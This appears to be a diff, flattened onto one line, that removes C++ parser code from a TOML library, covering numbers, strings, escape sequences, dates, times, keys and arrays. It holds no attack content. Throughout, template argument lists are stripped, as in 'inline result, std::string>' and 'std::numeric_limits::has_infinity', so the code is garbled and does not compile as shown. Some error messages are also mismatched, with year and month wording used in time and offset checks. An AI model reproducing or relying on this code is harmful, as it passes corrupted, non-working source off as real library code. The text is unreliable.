std::istringstream iss(str); - integer retval(0); - iss >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_integer: ", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_floating(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_float::invoke(loc)) - { - auto str = token.unwrap().str(); - if(str == "inf" || str == "+inf") - { - if(std::numeric_limits::has_infinity) - { - return ok(std::make_pair( - std::numeric_limits::infinity(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: inf value found" - " but the current environment does not support inf. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "-inf") - { - if(std::numeric_limits::has_infinity) - { - return ok(std::make_pair( - -std::numeric_limits::infinity(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: inf value found" - " but the current environment does not support inf. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "nan" || str == "+nan") - { - if(std::numeric_limits::has_quiet_NaN) - { - return ok(std::make_pair( - std::numeric_limits::quiet_NaN(), token.unwrap())); - } - else if(std::numeric_limits::has_signaling_NaN) - { - return ok(std::make_pair( - std::numeric_limits::signaling_NaN(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: NaN value found" - " but the current environment does not support NaN. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "-nan") - { - if(std::numeric_limits::has_quiet_NaN) - { - return ok(std::make_pair( - -std::numeric_limits::quiet_NaN(), token.unwrap())); - } - else if(std::numeric_limits::has_signaling_NaN) - { - return ok(std::make_pair( - -std::numeric_limits::signaling_NaN(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: NaN value found" - " but the current environment does not support NaN. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - std::istringstream iss(str); - floating v(0.0); - iss >> v; - return ok(std::make_pair(v, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_floating: ", - {{source_location(loc), "the next token is not a float"}})); -} - -inline std::string read_utf8_codepoint(const region& reg, const location& loc) -{ - const auto str = reg.str().substr(1); - std::uint_least32_t codepoint; - std::istringstream iss(str); - iss >> std::hex >> codepoint; - - const auto to_char = [](const std::uint_least32_t i) noexcept -> char { - const auto uc = static_cast(i); - return *reinterpret_cast(std::addressof(uc)); - }; - - std::string character; - if(codepoint < 0x80) // U+0000 ... U+0079 ; just an ASCII. - { - character += static_cast(codepoint); - } - else if(codepoint < 0x800) //U+0080 ... U+07FF - { - // 110yyyyx 10xxxxxx; 0x3f == 0b0011'1111 - character += to_char(0xC0| codepoint >> 6); - character += to_char(0x80|(codepoint & 0x3F)); - } - else if(codepoint < 0x10000) // U+0800...U+FFFF - { - if(0xD800 <= codepoint && codepoint <= 0xDFFF) - { - throw syntax_error(format_underline( - "toml::read_utf8_codepoint: codepoints in the range " - "[0xD800, 0xDFFF] are not valid UTF-8.", {{ - source_location(loc), "not a valid UTF-8 codepoint" - }}), source_location(loc)); - } - assert(codepoint < 0xD800 || 0xDFFF < codepoint); - // 1110yyyy 10yxxxxx 10xxxxxx - character += to_char(0xE0| codepoint >> 12); - character += to_char(0x80|(codepoint >> 6 & 0x3F)); - character += to_char(0x80|(codepoint & 0x3F)); - } - else if(codepoint < 0x110000) // U+010000 ... U+10FFFF - { - // 11110yyy 10yyxxxx 10xxxxxx 10xxxxxx - character += to_char(0xF0| codepoint >> 18); - character += to_char(0x80|(codepoint >> 12 & 0x3F)); - character += to_char(0x80|(codepoint >> 6 & 0x3F)); - character += to_char(0x80|(codepoint & 0x3F)); - } - else // out of UTF-8 region - { - throw syntax_error(format_underline("toml::read_utf8_codepoint:" - " input codepoint is too large.", - {{source_location(loc), "should be in [0x00..0x10FFFF]"}}), - source_location(loc)); - } - return character; -} - -inline result parse_escape_sequence(location& loc) -{ - const auto first = loc.iter(); - if(first == loc.end() || *first != '\\') - { - return err(format_underline("toml::parse_escape_sequence: ", {{ - source_location(loc), "the next token is not a backslash \"\\\""}})); - } - loc.advance(); - switch(*loc.iter()) - { - case '\\':{loc.advance(); return ok(std::string("\\"));} - case '"' :{loc.advance(); return ok(std::string("\""));} - case 'b' :{loc.advance(); return ok(std::string("\b"));} - case 't' :{loc.advance(); return ok(std::string("\t"));} - case 'n' :{loc.advance(); return ok(std::string("\n"));} - case 'f' :{loc.advance(); return ok(std::string("\f"));} - case 'r' :{loc.advance(); return ok(std::string("\r"));} - case 'u' : - { - if(const auto token = lex_escape_unicode_short::invoke(loc)) - { - return ok(read_utf8_codepoint(token.unwrap(), loc)); - } - else - { - return err(format_underline("parse_escape_sequence: " - "invalid token found in UTF-8 codepoint uXXXX.", - {{source_location(loc), "here"}})); - } - } - case 'U': - { - if(const auto token = lex_escape_unicode_long::invoke(loc)) - { - return ok(read_utf8_codepoint(token.unwrap(), loc)); - } - else - { - return err(format_underline("parse_escape_sequence: " - "invalid token found in UTF-8 codepoint Uxxxxxxxx", - {{source_location(loc), "here"}})); - } - } - } - - const auto msg = format_underline("parse_escape_sequence: " - "unknown escape sequence appeared.", {{source_location(loc), - "escape sequence is one of \\, \", b, t, n, f, r, uxxxx, Uxxxxxxxx"}}, - /* Hints = */{"if you want to write backslash as just one backslash, " - "use literal string like: regex = '<\\i\\c*\\s*>'"}); - loc.reset(first); - return err(msg); -} - -inline std::ptrdiff_t check_utf8_validity(const std::string& reg) -{ - location loc("tmp", reg); - const auto u8 = repeat::invoke(loc); - if(!u8 || loc.iter() != loc.end()) - { - const auto error_location = std::distance(loc.begin(), loc.iter()); - assert(0 <= error_location); - return error_location; - } - return -1; -} - -inline result, std::string> -parse_ml_basic_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_ml_basic_string::invoke(loc)) - { - auto inner_loc = loc; - inner_loc.reset(first); - - std::string retval; - retval.reserve(token.unwrap().size()); - - auto delim = lex_ml_basic_string_open::invoke(inner_loc); - if(!delim) - { - throw internal_error(format_underline( - "parse_ml_basic_string: invalid token", - {{source_location(inner_loc), "should be \"\"\""}}), - source_location(inner_loc)); - } - // immediate newline is ignored (if exists) - /* discard return value */ lex_newline::invoke(inner_loc); - - delim = none(); - while(!delim) - { - using lex_unescaped_seq = repeat< - either, unlimited>; - if(auto unescaped = lex_unescaped_seq::invoke(inner_loc)) - { - retval += unescaped.unwrap().str(); - } - if(auto escaped = parse_escape_sequence(inner_loc)) - { - retval += escaped.unwrap(); - } - if(auto esc_nl = lex_ml_basic_escaped_newline::invoke(inner_loc)) - { - // ignore newline after escape until next non-ws char - } - if(inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "parse_ml_basic_string: unexpected end of region", - {{source_location(inner_loc), "not sufficient token"}}), - source_location(inner_loc)); - } - delim = lex_ml_basic_string_close::invoke(inner_loc); - } - // `lex_ml_basic_string_close` allows 3 to 5 `"`s to allow 1 or 2 `"`s - // at just before the delimiter. Here, we need to attach `"`s at the - // end of the string body, if it exists. - // For detail, see the definition of `lex_ml_basic_string_close`. - assert(std::all_of(delim.unwrap().first(), delim.unwrap().last(), - [](const char c) noexcept {return c == '\"';})); - switch(delim.unwrap().size()) - { - case 3: {break;} - case 4: {retval += "\""; break;} - case 5: {retval += "\"\""; break;} - default: - { - throw internal_error(format_underline( - "parse_ml_basic_string: closing delimiter has invalid length", - {{source_location(inner_loc), "end of this"}}), - source_location(inner_loc)); - } - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval), token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_ml_basic_string: " - "the next token is not a valid multiline string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_basic_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_basic_string::invoke(loc)) - { - auto inner_loc = loc; - inner_loc.reset(first); - - auto quot = lex_quotation_mark::invoke(inner_loc); - if(!quot) - { - throw internal_error(format_underline("parse_basic_string: " - "invalid token", {{source_location(inner_loc), "should be \""}}), - source_location(inner_loc)); - } - - std::string retval; - retval.reserve(token.unwrap().size()); - - quot = none(); - while(!quot) - { - using lex_unescaped_seq = repeat; - if(auto unescaped = lex_unescaped_seq::invoke(inner_loc)) - { - retval += unescaped.unwrap().str(); - } - if(auto escaped = parse_escape_sequence(inner_loc)) - { - retval += escaped.unwrap(); - } - if(inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "parse_basic_string: unexpected end of region", - {{source_location(inner_loc), "not sufficient token"}}), - source_location(inner_loc)); - } - quot = lex_quotation_mark::invoke(inner_loc); - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval), token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_basic_string: " - "the next token is not a valid string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_ml_literal_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_ml_literal_string::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_ml_literal_string_open::invoke(inner_loc); - if(!open) - { - throw internal_error(format_underline( - "parse_ml_literal_string: invalid token", - {{source_location(inner_loc), "should be '''"}}), - source_location(inner_loc)); - } - // immediate newline is ignored (if exists) - /* discard return value */ lex_newline::invoke(inner_loc); - - const auto body = lex_ml_literal_body::invoke(inner_loc); - - const auto close = lex_ml_literal_string_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "parse_ml_literal_string: invalid token", - {{source_location(inner_loc), "should be '''"}}), - source_location(inner_loc)); - } - // `lex_ml_literal_string_close` allows 3 to 5 `'`s to allow 1 or 2 `'`s - // at just before the delimiter. Here, we need to attach `'`s at the - // end of the string body, if it exists. - // For detail, see the definition of `lex_ml_basic_string_close`. - - std::string retval = body.unwrap().str(); - assert(std::all_of(close.unwrap().first(), close.unwrap().last(), - [](const char c) noexcept {return c == '\'';})); - switch(close.unwrap().size()) - { - case 3: {break;} - case 4: {retval += "'"; break;} - case 5: {retval += "''"; break;} - default: - { - throw internal_error(format_underline( - "parse_ml_literal_string: closing delimiter has invalid length", - {{source_location(inner_loc), "end of this"}}), - source_location(inner_loc)); - } - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval, toml::string_t::literal), - token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_ml_literal_string: " - "the next token is not a valid multiline literal string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_literal_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_literal_string::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_apostrophe::invoke(inner_loc); - if(!open) - { - throw internal_error(format_underline( - "parse_literal_string: invalid token", - {{source_location(inner_loc), "should be '"}}), - source_location(inner_loc)); - } - - const auto body = repeat::invoke(inner_loc); - - const auto close = lex_apostrophe::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "parse_literal_string: invalid token", - {{source_location(inner_loc), "should be '"}}), - source_location(inner_loc)); - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair( - toml::string(body.unwrap().str(), toml::string_t::literal), - token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_literal_string: " - "the next token is not a valid literal string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_string(location& loc) -{ - if(loc.iter() != loc.end() && *(loc.iter()) == '"') - { - if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '"' && - loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '"') - { - return parse_ml_basic_string(loc); - } - else - { - return parse_basic_string(loc); - } - } - else if(loc.iter() != loc.end() && *(loc.iter()) == '\'') - { - if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '\'' && - loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '\'') - { - return parse_ml_literal_string(loc); - } - else - { - return parse_literal_string(loc); - } - } - return err(format_underline("toml::parse_string: ", - {{source_location(loc), "the next token is not a string"}})); -} - -inline result, std::string> -parse_local_date(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_local_date::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto y = lex_date_fullyear::invoke(inner_loc); - if(!y || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-') - { - throw internal_error(format_underline( - "toml::parse_inner_local_date: invalid year format", - {{source_location(inner_loc), "should be `-`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto m = lex_date_month::invoke(inner_loc); - if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-') - { - throw internal_error(format_underline( - "toml::parse_local_date: invalid month format", - {{source_location(inner_loc), "should be `-`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto d = lex_date_mday::invoke(inner_loc); - if(!d) - { - throw internal_error(format_underline( - "toml::parse_local_date: invalid day format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - - const auto year = static_cast(from_string(y.unwrap().str(), 0)); - const auto month = static_cast(from_string(m.unwrap().str(), 0)); - const auto day = static_cast(from_string(d.unwrap().str(), 0)); - - // We briefly check whether the input date is valid or not. But here, we - // only check if the RFC3339 compliance. - // Actually there are several special date that does not exist, - // because of historical reasons, such as 1582/10/5-1582/10/14 (only in - // several countries). But here, we do not care about such a complicated - // rule. It makes the code complicated and there is only low probability - // that such a specific date is needed in practice. If someone need to - // validate date accurately, that means that the one need a specialized - // library for their purpose in a different layer. - { - const bool is_leap = (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0)); - const auto max_day = (month == 2) ? (is_leap ? 29 : 28) : - ((month == 4 || month == 6 || month == 9 || month == 11) ? 30 : 31); - - if((month < 1 || 12 < month) || (day < 1 || max_day < day)) - { - throw syntax_error(format_underline("toml::parse_date: " - "invalid date: it does not conform RFC3339.", {{ - source_location(loc), "month should be 01-12, day should be" - " 01-28,29,30,31, depending on month/year." - }}), source_location(inner_loc)); - } - } - return ok(std::make_pair(local_date(year, static_cast(month - 1), day), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_date: ", - {{source_location(loc), "the next token is not a local_date"}})); - } -} - -inline result, std::string> -parse_local_time(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_local_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto h = lex_time_hour::invoke(inner_loc); - if(!h || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':') - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid year format", - {{source_location(inner_loc), "should be `:`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto m = lex_time_minute::invoke(inner_loc); - if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':') - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid month format", - {{source_location(inner_loc), "should be `:`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto s = lex_time_second::invoke(inner_loc); - if(!s) - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid second format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - - const int hour = from_string(h.unwrap().str(), 0); - const int minute = from_string(m.unwrap().str(), 0); - const int second = from_string(s.unwrap().str(), 0); - - if((hour < 0 || 23 < hour) || (minute < 0 || 59 < minute) || - (second < 0 || 60 < second)) // it may be leap second - { - throw syntax_error(format_underline("toml::parse_time: " - "invalid time: it does not conform RFC3339.", {{ - source_location(loc), "hour should be 00-23, minute should be" - " 00-59, second should be 00-60 (depending on the leap" - " second rules.)"}}), source_location(inner_loc)); - } - - local_time time(hour, minute, second, 0, 0); - - const auto before_secfrac = inner_loc.iter(); - if(const auto secfrac = lex_time_secfrac::invoke(inner_loc)) - { - auto sf = secfrac.unwrap().str(); - sf.erase(sf.begin()); // sf.front() == '.' - switch(sf.size() % 3) - { - case 2: sf += '0'; break; - case 1: sf += "00"; break; - case 0: break; - default: break; - } - if(sf.size() >= 9) - { - time.millisecond = from_string(sf.substr(0, 3), 0u); - time.microsecond = from_string(sf.substr(3, 3), 0u); - time.nanosecond = from_string(sf.substr(6, 3), 0u); - } - else if(sf.size() >= 6) - { - time.millisecond = from_string(sf.substr(0, 3), 0u); - time.microsecond = from_string(sf.substr(3, 3), 0u); - } - else if(sf.size() >= 3) - { - time.millisecond = from_string(sf, 0u); - time.microsecond = 0u; - } - } - else - { - if(before_secfrac != inner_loc.iter()) - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid subsecond format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - return ok(std::make_pair(time, token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_time: ", - {{source_location(loc), "the next token is not a local_time"}})); - } -} - -inline result, std::string> -parse_local_datetime(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_local_date_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - const auto date = parse_local_date(inner_loc); - if(!date || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "date, not datetime"}}), - source_location(inner_loc)); - } - const char delim = *(inner_loc.iter()); - if(delim != 'T' && delim != 't' && delim != ' ') - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "should be `T` or ` ` (space)"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto time = parse_local_time(inner_loc); - if(!time) - { - throw internal_error(format_underline( - "toml::parse_local_datetime: invalid datetime format", - {{source_location(inner_loc), "invalid time format"}}), - source_location(inner_loc)); - } - return ok(std::make_pair( - local_datetime(date.unwrap().first, time.unwrap().first), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_datetime: ", - {{source_location(loc), "the next token is not a local_datetime"}})); - } -} - -inline result, std::string> -parse_offset_datetime(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_offset_date_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - const auto datetime = parse_local_datetime(inner_loc); - if(!datetime || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_offset_datetime: invalid datetime format", - {{source_location(inner_loc), "date, not datetime"}}), - source_location(inner_loc)); - } - time_offset offset(0, 0); - if(const auto ofs = lex_time_numoffset::invoke(inner_loc)) - { - const auto str = ofs.unwrap().str(); - - const auto hour = from_string(str.substr(1,2), 0); - const auto minute = from_string(str.substr(4,2), 0); - - if((hour < 0 || 23 < hour) || (minute < 0 || 59 < minute)) - { - throw syntax_error(format_underline("toml::parse_offset_datetime: " - "invalid offset: it does not conform RFC3339.", {{ - source_location(loc), "month should be 01-12, day should be" - " 01-28,29,30,31, depending on month/year." - }}), source_location(inner_loc)); - } - - if(str.front() == '+') - { - offset = time_offset(hour, minute); - } - else - { - offset = time_offset(-hour, -minute); - } - } - else if(*inner_loc.iter() != 'Z' && *inner_loc.iter() != 'z') - { - throw internal_error(format_underline( - "toml::parse_offset_datetime: invalid datetime format", - {{source_location(inner_loc), "should be `Z` or `+HH:MM`"}}), - source_location(inner_loc)); - } - return ok(std::make_pair(offset_datetime(datetime.unwrap().first, offset), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_offset_datetime: ", - {{source_location(loc), "the next token is not a offset_datetime"}})); - } -} - -inline result, std::string> -parse_simple_key(location& loc) -{ - if(const auto bstr = parse_basic_string(loc)) - { - return ok(std::make_pair(bstr.unwrap().first.str, bstr.unwrap().second)); - } - if(const auto lstr = parse_literal_string(loc)) - { - return ok(std::make_pair(lstr.unwrap().first.str, lstr.unwrap().second)); - } - if(const auto bare = lex_unquoted_key::invoke(loc)) - { - const auto reg = bare.unwrap(); - return ok(std::make_pair(reg.str(), reg)); - } - return err(format_underline("toml::parse_simple_key: ", - {{source_location(loc), "the next token is not a simple key"}})); -} - -// dotted key become vector of keys -inline result, region>, std::string> -parse_key(location& loc) -{ - const auto first = loc.iter(); - // dotted key -> `foo.bar.baz` where several single keys are chained by - // dots. Whitespaces between keys and dots are allowed. - if(const auto token = lex_dotted_key::invoke(loc)) - { - const auto reg = token.unwrap(); - location inner_loc(loc.name(), reg.str()); - std::vector keys; - - while(inner_loc.iter() != inner_loc.end()) - { - lex_ws::invoke(inner_loc); - if(const auto k = parse_simple_key(inner_loc)) - { - keys.push_back(k.unwrap().first); - } - else - { - throw internal_error(format_underline( - "toml::detail::parse_key: dotted key contains invalid key", - {{source_location(inner_loc), k.unwrap_err()}}), - source_location(inner_loc)); - } - - lex_ws::invoke(inner_loc); - if(inner_loc.iter() == inner_loc.end()) - { - break; - } - else if(*inner_loc.iter() == '.') - { - inner_loc.advance(); // to skip `.` - } - else - { - throw internal_error(format_underline("toml::parse_key: " - "dotted key contains invalid key ", - {{source_location(inner_loc), "should be `.`"}}), - source_location(inner_loc)); - } - } - return ok(std::make_pair(keys, reg)); - } - loc.reset(first); - - // simple_key: a single (basic_string|literal_string|bare key) - if(const auto smpl = parse_simple_key(loc)) - { - return ok(std::make_pair(std::vector(1, smpl.unwrap().first), - smpl.unwrap().second)); - } - return err(format_underline("toml::parse_key: an invalid key appeared.", - {{source_location(loc), "is not a valid key"}}, { - "bare keys : non-empty strings composed only of [A-Za-z0-9_-].", - "quoted keys: same as \"basic strings\" or 'literal strings'.", - "dotted keys: sequence of bare or quoted keys joined with a dot." - })); -} - -// forward-decl to implement parse_array and parse_table -template -result parse_value(location&); - -template -result, std::string> -parse_array(location& loc) -{ - using value_type = Value; - using array_type = typename value_type::array_type; - - const auto first = loc.iter(); - if(loc.iter() == loc.end()) - { - return err("toml::parse_array: input is empty"); - } - if(*loc.iter() != '[') - { - return err("toml::parse_array: token is not an array"); - } - loc.advance(); - - using lex_ws_comment_newline = repeat< - either, unlimited>; - - array_type retval; - while(loc.iter() != loc.end()) - { - lex_ws_comment_newline::invoke(loc); // skip - - if(loc.iter() != loc.end() && *loc.iter() == ']') - { - loc.advance(); // skip ']' - return ok(std::make_pair(retval, - region(loc, first, loc.iter()))); - } - - if(auto val = parse_value(loc)) - { - // After TOML v1.0.0-rc.1, array becomes to be able to have values - // with different types. So here we will omit this by default. - // - // But some of the test-suite checks if the parser accepts a hetero- - // geneous arrays, so we keep this for a while. -#ifdef TOML11_DISALLOW_HETEROGENEOUS_ARRAYS - if(!retval.empty() && retval.front().type() != val.as_ok().type()) - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array: " - "type of elements should be the same each other.", { - {source_location(array_start_loc), "array starts here"}, - { - retval.front().location(), - "value has type " + stringize(retval.front().type()) - }, - { - val.unwrap().location(), - "value has different type, " + stringize(val.unwrap().type()) - } - }), source_location(loc)); - } -#endif - retval.push_back(std::move(val.unwrap())); - } - else - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array: " - "value having invalid format appeared in an array", { - {source_location(array_start_loc), "array starts here"}, - {source_location(loc), "it is not a valid value."} - }), source_location(loc)); - } - - using lex_array_separator = sequence, character<','>>; - const auto sp = lex_array_separator::invoke(loc); - if(!sp) - { - lex_ws_comment_newline::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == ']') - { - loc.advance(); // skip ']' - return ok(std::make_pair(retval, - region(loc, first, loc.iter()))); - } - else - { - auto array_start_loc = loc; - array_start_loc.reset(first); - - throw syntax_error(format_underline("toml::parse_array:" - " missing array separator `,` after a value", { - {source_location(array_start_loc), "array starts here"}, - {source_location(loc), "should be `,`"} - }), source_location(loc)); - } - } - } - loc.reset(first); - throw syntax_error(format_underline("toml::parse_array: " - "array did not closed by `]`", - {{source_location(loc), "should be closed"}}), - source_location(loc)); -} - -template -result, region>, Value>, std::string> -parse_key_value_pair(location& loc) -{ - using value_type = Value; - - const auto first = loc.iter(); - auto key_reg = parse_key(loc); - if(!key_reg) - { - std::string msg = std::move(key_reg.unwrap_err()); - // if the next token is keyvalue-separator, it means that there are no - // key. then we need to show error as "empty key is not allowed". - if(const auto keyval_sep = lex_keyval_sep::invoke(loc)) - { - loc.reset(first); - msg = format_underline("toml::parse_key_value_pair: " - "empty key is not allowed.", - {{source_location(loc), "key expected before '='"}}); - } - return err(std::move(msg)); - } - - const auto kvsp = lex_keyval_sep::invoke(loc); - if(!kvsp) - { - std::string msg; - // if the line contains '=' after the invalid sequence, possibly the - // error is in the key (like, invalid character in bare key). - const auto line_end = std::find(loc.iter(), loc.end(), '\n'); - if(std::find(loc.iter(), line_end, '=') != line_end) - { - msg = format_underline("toml::parse_key_value_pair: " - "invalid format for key", - {{source_location(loc), "invalid character in key"}}, - {"Did you forget '.' to separate dotted-key?", - "Allowed characters for bare key are [0-9a-zA-Z_-]."}); - } - else // if not, the error is lack of key-value separator. - { - msg = format_underline("toml::parse_key_value_pair: " - "missing key-value separator `=`", - {{source_location(loc), "should be `=`"}}); - } - loc.reset(first); - return err(std::move(msg)); - } - - const auto after_kvsp = loc.iter(); // err msg - auto val = parse_value(loc); - if(!val) - { - std::string msg; - loc.reset(after_kvsp); - // check there is something not a comment/whitespace after `=` - if(sequence, maybe, lex_newline>::invoke(loc)) - { - loc.reset(after_kvsp); - msg = format_underline("toml::parse_key_value_pair: " - "missing value after key-value separator '='", - {{source_location(loc), "expected value, but got nothing"}}); - } - else // there is something not a comment/whitespace, so invalid format. - { - msg = std::move(val.unwrap_err()); - } - loc.reset(first); - return err(msg); - } - return ok(std::make_pair(std::move(key_reg.unwrap()), - std::move(val.unwrap()))); -} - -// for error messages. -template -std::string format_dotted_keys(InputIterator first, const InputIterator last) -{ - static_assert(std::is_same::value_type>::value,""); - - std::string retval(*first++); - for(; first != last; ++first) - { - retval += '.'; - retval += *first; - } - return retval; -} - -// forward decl for is_valid_forward_table_definition -result, region>, std::string> -parse_table_key(location& loc); -template -result, std::string> -parse_inline_table(location& loc); - -// The following toml file is allowed. -// ```toml -// [a.b.c] # here, table `a` has element `b`. -// foo = "bar" -// [a] # merge a = {baz = "qux"} to a = {b = {...}} -// baz = "qux" -// ``` -// But the following is not allowed. -// ```toml -// [a] -// b.c.foo = "bar" -// [a] # error! the same table [a] defined! -// baz = "qux" -// ``` -// The following is neither allowed. -// ```toml -// a = { b.c.foo = "bar"} -// [a] # error! the same table [a] defined! -// baz = "qux" -// ``` -// Here, it parses region of `tab->at(k)` as a table key and check the depth -// of the key. If the key region points deeper node, it would be allowed. -// Otherwise, the key points the same node. It would be rejected. -template -bool is_valid_forward_table_definition(const Value& fwd, const Value& inserting, - Iterator key_first, Iterator key_curr, Iterator key_last) -{ - // ------------------------------------------------------------------------ - // check type of the value to be inserted/merged - - std::string inserting_reg = ""; - if(const auto ptr = detail::get_region(inserting)) - { - inserting_reg = ptr->str(); - } - location inserting_def("internal", std::move(inserting_reg)); - if(const auto inlinetable = parse_inline_table(inserting_def)) - { - // check if we are overwriting existing table. - // ```toml - // # NG - // a.b = 42 - // a = {d = 3.14} - // ``` - // Inserting an inline table to a existing super-table is not allowed in - // any case. If we found it, we can reject it without further checking. - return false; - } - - // ------------------------------------------------------------------------ - // check table defined before - - std::string internal = ""; - if(const auto ptr = detail::get_region(fwd)) - { - internal = ptr->str(); - } - location def("internal", std::move(internal)); - if(const auto tabkeys = parse_table_key(def)) // [table.key] - { - // table keys always contains all the nodes from the root. - const auto& tks = tabkeys.unwrap().first; - if(std::size_t(std::distance(key_first, key_last)) == tks.size() && - std::equal(tks.begin(), tks.end(), key_first)) - { - // the keys are equivalent. it is not allowed. - return false; - } - // the keys are not equivalent. it is allowed. - return true; - } - if(const auto dotkeys = parse_key(def)) - { - // consider the following case. - // [a] - // b.c = {d = 42} - // [a.b.c] - // e = 2.71 - // this defines the table [a.b.c] twice. no? - - // a dotted key starts from the node representing a table in which the - // dotted key belongs to. - const auto& dks = dotkeys.unwrap().first; - if(std::size_t(std::distance(key_curr, key_last)) == dks.size() && - std::equal(dks.begin(), dks.end(), key_curr)) - { - // the keys are equivalent. it is not allowed. - return false; - } - // the keys are not equivalent. it is allowed. - return true; - } - return false; -} - -template -result -insert_nested_key(typename Value::table_type& root, const Value& v, - InputIterator iter, const InputIterator last, - region key_reg, - const bool is_array_of_table = false) -{ - static_assert(std::is_same::value_type>::value,""); - - using value_type = Value; - using table_type = typename value_type::table_type; - using array_type = typename value_type::array_type; - - const auto first = iter; - assert(iter != last); - - table_type* tab = std::addressof(root); - for(; iter != last; ++iter) // search recursively - { - const key& k = *iter; - if(std::next(iter) 